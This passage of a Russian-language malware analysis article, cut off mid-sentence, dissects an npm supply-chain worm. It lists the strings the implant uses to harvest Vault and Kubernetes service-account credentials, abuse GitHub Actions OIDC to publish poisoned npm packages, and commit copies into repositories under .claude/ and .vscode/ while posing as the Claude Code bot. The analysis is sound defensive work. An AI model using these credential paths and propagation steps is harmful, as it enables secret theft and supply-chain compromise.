Vault<\/h3>\n<pre><code class=\"markdown\"># \u0427\u0442\u0435\u043d\u0438\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f VaultVAULT_TOKENVAULT_AUTH_TOKENVAULT_ADDR# \u0412\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 \u0441\u0435\u0440\u0432\u0438\u0441\u043d\u044b\u0439 endpoint \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430 Vaultvault.svc.cluster.local:8200   \u2190 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0439 Kubernetes API-\u0430\u0434\u0440\u0435\u0441 Vault# \u041f\u0443\u0442\u044c \u043a \u0442\u043e\u043a\u0435\u043d\u0443 Vault (\u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u044b\u0439 URL-\u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442)vault\/token<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>Endpoint <code>svc.cluster.local:8200<\/code> \u2014 \u044d\u0442\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0435 DNS-\u0438\u043c\u044f Kubernetes \u0434\u043b\u044f pod\u2019\u0430 Vault, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u043e\u0433\u043e \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0438\u043c\u043f\u043b\u0430\u043d\u0442 \u044f\u0432\u043d\u043e \u043d\u0430\u0446\u0435\u043b\u0435\u043d \u043d\u0430 Vault, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0439 \u0432\u043d\u0443\u0442\u0440\u0438 Kubernetes, \u0430 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 standalone-\u0440\u0430\u0437\u0432\u0451\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f. \u0412 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u043c \u043d\u0438\u0436\u0435 \u0441\u0431\u043e\u0440\u043e\u043c \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u0437 Kubernetes service account \u044d\u0442\u043e \u0434\u0430\u0451\u0442 \u043f\u043e\u043b\u043d\u0443\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445: \u0443\u043a\u0440\u0430\u0441\u0442\u044c \u0442\u043e\u043a\u0435\u043d service account Kubernetes \u2192 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Vault \u2192 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0441\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u044b, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u0435\u0441\u044f \u0432 Vault.<\/p>\n<h3>Kubernetes<\/h3>\n<pre><code class=\"markdown\"># \u041f\u0443\u0442\u0438 \u043a \u0443\u0447\u0451\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435\/var\/run\/secrets\/kubernetes.io\/serviceaccount\/ca.crtnamespace  #  \u2190 \u0447\u0438\u0442\u0430\u0435\u0442 \u0444\u0430\u0439\u043b namespace service account# \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0442\u0430\u043a\u0436\u0435 \u0447\u0438\u0442\u0430\u0435\u0442 (\u043f\u0443\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438, \u043d\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d \u0447\u0435\u0440\u0435\u0437 beautify):# \/var\/run\/secrets\/kubernetes.io\/serviceaccount\/token<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u0421\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442 \u0446\u0435\u043d\u0442\u0440\u0430 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 service account (<code>ca.crt<\/code>) \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 TLS-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0439 \u0441 Kubernetes API server, \u0430 \u0444\u0430\u0439\u043b <code>token<\/code> (\u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d, \u0430 \u043d\u0435 \u0443\u043a\u0430\u0437\u0430\u043d \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435) \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 JWT bearer token, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0439 \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0412\u043c\u0435\u0441\u0442\u0435 \u043e\u043d\u0438 \u0434\u0430\u044e\u0442 \u043f\u043e\u043b\u043d\u044b\u0439 \u0432\u043d\u0443\u0442\u0440\u0438\u043a\u043b\u0430\u0441\u0442\u0435\u0440\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a API \u0432 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u0445 RBAC-\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0445 service account \u0434\u0430\u043d\u043d\u043e\u0433\u043e pod\u2019\u0430 \u2014 \u0430 \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0442\u0435\u0440\u0430\u0445 \u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u0443\u0440\u043e\u0432\u043d\u044f <code>cluster-admin<\/code>.<\/p>\n<h4>\u042d\u0442\u0430\u043f 2 \u2014 \u0420\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0435 npm-\u0447\u0435\u0440\u0432\u044f<\/h4>\n<p>\u0421\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u0430 \u043a \u0441\u0430\u043c\u043e\u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e \u2014 \u0435\u0433\u043e \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u043e\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u044d\u043a\u043e\u0441\u0438\u0441\u0442\u0435\u043c\u044b. \u041e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0444\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 OIDC \u0432 GitHub Actions, \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 npm \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 CI-\u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438.<\/p>\n<pre><code class=\"markdown\"># \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 OIDC-\u0442\u043e\u043a\u0435\u043d\u0430 (\u0440\u0430\u043d\u043d\u0435\u0440 GitHub Actions)ACTIONS_ID_TOKEN_REQUEST_TOKEN   \u2190 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 GitHub \u0442\u043e\u043a\u0435\u043d \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u043b\u044f OIDC-\u0437\u0430\u043f\u0440\u043e\u0441\u0430ACTIONS_ID_TOKEN_REQUEST_URL     \u2190 endpoint, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043e\u0431\u0440\u0430\u0449\u0430\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f JWT OIDC-\u0442\u043e\u043a\u0435\u043d\u0430# \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 npm-\u0442\u043e\u043a\u0435\u043d\u0430https:\/\/registry.npmjs.org\/-\/npm\/v1\/tokens   \u2190 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u0430\u043b\u0438\u0434\u043d\u043e\u0441\u0442\u0438 \u0442\u043e\u043a\u0435\u043d\u0430 \/ whoami# \u041f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044fpublishPackage()    \u2190 \u0443\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u0438 \u043f\u0443\u0431\u043b\u0438\u043a\u0443\u0435\u0442 \u0438\u043c\u043f\u043b\u0430\u043d\u0442tarball \/ .tgz      \u2190 \u0444\u043e\u0440\u043c\u0430\u0442 \u0430\u0440\u0445\u0438\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430tar.zst             \u2190 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0441\u043e \u0441\u0436\u0430\u0442\u0438\u0435\u043c zstddist-tags           \u2190 \u0432\u043d\u0435\u0434\u0440\u044f\u0435\u0442 \u0438\u043c\u043f\u043b\u0430\u043d\u0442 \u043f\u043e\u0434 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c\u0438 dist-tag\u2019\u0430\u043c\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, `latest`)oidcToken           \u2190 \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0439 JWT OIDC, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u043a\u0430\u043a npm-\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<p>1. \u041e\u043d \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 JWT OIDC \u0443 endpoint\u2019\u0430 \u0442\u043e\u043a\u0435\u043d\u043e\u0432 Actions.<\/p>\n<p>2. \u041e\u0431\u043c\u0435\u043d\u0438\u0432\u0430\u0435\u0442 \u0442\u043e\u043a\u0435\u043d Actions \u043d\u0430 npm-\u0442\u043e\u043a\u0435\u043d \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0434\u043e\u0432\u0435\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 OIDC-\u0444\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 npm.<\/p>\n<p>3.\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442\u044b, \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0438\u0435 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u044e\u0449\u0435\u043c\u0443 (\u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0438\u0441\u043a \u0432 <code>npms.io<\/code>)<\/p>\n<p>4. \u0423\u043f\u0430\u043a\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u043a\u043e\u043f\u0438\u044e <code>router_init.js<\/code> \u0432 \u0430\u0440\u0445\u0438\u0432 <code>.tgz<\/code> \u0438\u043b\u0438 <code>tar.zst<\/code>.<\/p>\n<p>5. \u041f\u0443\u0431\u043b\u0438\u043a\u0443\u0435\u0442\u00a0 \u043f\u0430\u043a\u0435\u0442 \u043f\u043e\u0434 dist-tag\u2019\u043e\u043c <code>latest<\/code>.<\/p>\n<p>\u0415\u0441\u043b\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442 <code>npm install<\/code> \u0434\u043b\u044f \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430, \u0442\u043e \u043e\u043d \u0441\u043a\u0430\u0447\u0430\u0435\u0442 \u0447\u0435\u0440\u0432\u044f.<\/p>\n<p>\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 <code>sigstore<\/code> \u0432 \u0444\u0430\u0439\u043b\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0438\u043c\u043f\u043b\u0430\u043d\u0442 \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0430\u0442\u0442\u0435\u0441\u0442\u0430\u0446\u0438\u044e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f Sigstore \u0432 transparency log. \u042d\u0442\u043e \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u043e\u0431\u043c\u0430\u043d\u0447\u0438\u0432\u043e: \u0431\u0435\u0439\u0434\u0436\u0438 provenance \u0432 npm \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u0434\u043e\u0432\u0435\u0440\u0438\u044f, \u0438 \u043f\u0430\u043a\u0435\u0442, \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u043e\u043c, \u043d\u043e \u0438\u043c\u0435\u044e\u0449\u0438\u0439 \u0437\u043d\u0430\u0447\u043e\u043a \u00abverified provenance\u00bb, \u043b\u0435\u0433\u043a\u043e \u043f\u0440\u043e\u0439\u0434\u0451\u0442 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u043d\u0443\u044e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0417\u0430\u043f\u0438\u0441\u044c provenance \u0431\u0443\u0434\u0435\u0442 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0430 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0437\u0430\u043f\u0443\u0441\u043a GitHub Actions, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0432\u0448\u0438\u0439 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e, \u043e\u0434\u043d\u0430\u043a\u043e \u0441\u0430\u043c\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0436\u0443\u0440\u043d\u0430\u043b\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0441\u0442\u0438 \u043f\u0430\u043a\u0435\u0442\u0430.<\/p>\n<h4>\u042d\u0442\u0430\u043f 3 \u2014 \u041e\u0442\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u0447\u0435\u0440\u0435\u0437 GitHub GraphQL<\/h4>\n<p>\u041f\u043e\u043c\u0438\u043c\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 npm, \u0438\u043c\u043f\u043b\u0430\u043d\u0442 \u0430\u0442\u0430\u043a\u0443\u0435\u0442 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432, \u0447\u044c\u0438 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0441\u043e\u0431\u0440\u0430\u0442\u044c. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f GitHub GraphQL API \u0438 \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d, \u043e\u043d \u043a\u043e\u043c\u043c\u0438\u0442\u0438\u0442 \u0441\u0432\u043e\u0438 \u043a\u043e\u043f\u0438\u0438 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0432 \u0432\u0435\u0442\u043a\u0438 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432.<\/p>\n<pre><code class=\"markdown\"># GitHub GraphQL mutation \u2014 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u043e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0444\u0430\u0439\u043b\u0435 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0432\u0438\u0434\u0435createCommitOnBranch    \u2190 \u0441\u043e\u0437\u0434\u0430\u0451\u0442 \u043a\u043e\u043c\u043c\u0438\u0442\u044b \u0431\u0435\u0437 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e git clone# \u0426\u0435\u043b\u0435\u0432\u044b\u0435 \u043f\u0443\u0442\u0438, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0434\u0451\u0442 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432.github\/workflows\/      \u2190 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f CI-\u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d\u043e\u0432.claude\/router_runtime.js.claude\/settings.json.claude\/setup.mjs.vscode\/setup.mjs.vscode\/tasks.json# \u041f\u043e\u0434\u043c\u0435\u043d\u0451\u043d\u043d\u0430\u044f \u043b\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0430\u0432\u0442\u043e\u0440\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0430claude@users.noreply.github.com   \u2190 \u0438\u043c\u0438\u0442\u0438\u0440\u0443\u0435\u0442 \u0443\u0447\u0451\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c \u0431\u043e\u0442\u0430 Claude Code<\/code><div class=\"code-explainer\"><a href=\"https:\/\/sourcecraft.dev\/\" class=\"tm-button code-explainer__link\" style=\"visibility: hidden;\"><img style=\"width:14px;height:14px;object-fit:cover;object-position:left;\"\/><\/a><\/div><\/pre>\n<p>\u041c\u0443\u0442\u0430\u0446\u0438\u044f GraphQL <code>createCommitOnBranch<\/code> \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u0447\u0435\u0440\u0435\u0437 API GitHub \u0438 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 <code>git<\/code>, \u043d\u0438 \u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0434\u0430\u043d\u043d\u044b\u0439 \u044d\u0442\u0430\u043f \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u043d\u0430 CI-\u0440\u0430\u043d\u043d\u0435\u0440\u0435, \u0442\u0430\u043a \u0438 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u0441\u0442\u0430\u043d\u0446\u0438\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430.<\/p>\n<p>\u0410\u0432\u0442\u043e\u0440 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 \u043f\u043e\u0434\u0434\u0435\u043b\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434 <a href=\"mailto:claude@users.noreply.github.com\"><code>claude@users.noreply.github.com<\/code><\/a>, \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u043e\u0434 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0435 GitHub-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Anthropic Claude Code. \u0412 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445, \u0433\u0434\u0435 Claude Code \u0443\u0436\u0435 \u043e\u0434\u043e\u0431\u0440\u0435\u043d \u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u044f, \u0442\u0430\u043a\u043e\u0439 \u043a\u043e\u043c\u043c\u0438\u0442 \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u0435 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u0439.<\/p>\n<p><em>\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435: \u0434\u043b\u044f \u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0447\u0435\u0440\u0432\u044c \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442 \u0441\u0435\u0431\u044f \u043f\u043e\u0434 \u0438\u043c\u0435\u043d\u0435\u043c \u0444\u0430\u0439\u043b\u0430 <\/em><code><em>router_runtime.js<\/em><\/code><em>. \u042d\u0442\u043e \u0438\u043c\u044f \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u043e\u0441\u044c \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f\u0445 Mini Shai-Hulud.<\/em><\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a \u0430\u0442\u0430\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0430 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435, \u0434\u0430\u043b\u044c\u0448\u0435 \u0441\u0442\u043e\u0438\u0442 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0434\u0432\u0430 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u044d\u043b\u0435\u043c\u0435\u043d\u0442\u0430: \u043a\u0430\u043d\u0430\u043b \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0447\u0435\u0440\u0435\u0437 \u0441\u0435\u0442\u044c Session \u0438 \u043e\u0434\u043d\u0443 \u0438\u0437 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u2014 <code>tanstack_runner.js<\/code><\/p>\n<h4>\u042d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044f \u0447\u0435\u0440\u0435\u0437 P2P-\u0441\u0435\u0442\u044c Session<\/h4>\n<p>\u0418\u043c\u043f\u043b\u0430\u043d\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u043a\u0430\u043d\u0430\u043b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0432\u044b\u0432\u043e\u0434\u0430 \u0434\u0430\u043d\u043d\u044b\u0445: \u0432\u043c\u0435\u0441\u0442\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0433\u043e HTTPS-\u043c\u0430\u044f\u043a\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430 \u043e\u043d \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0432\u0441\u0435 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 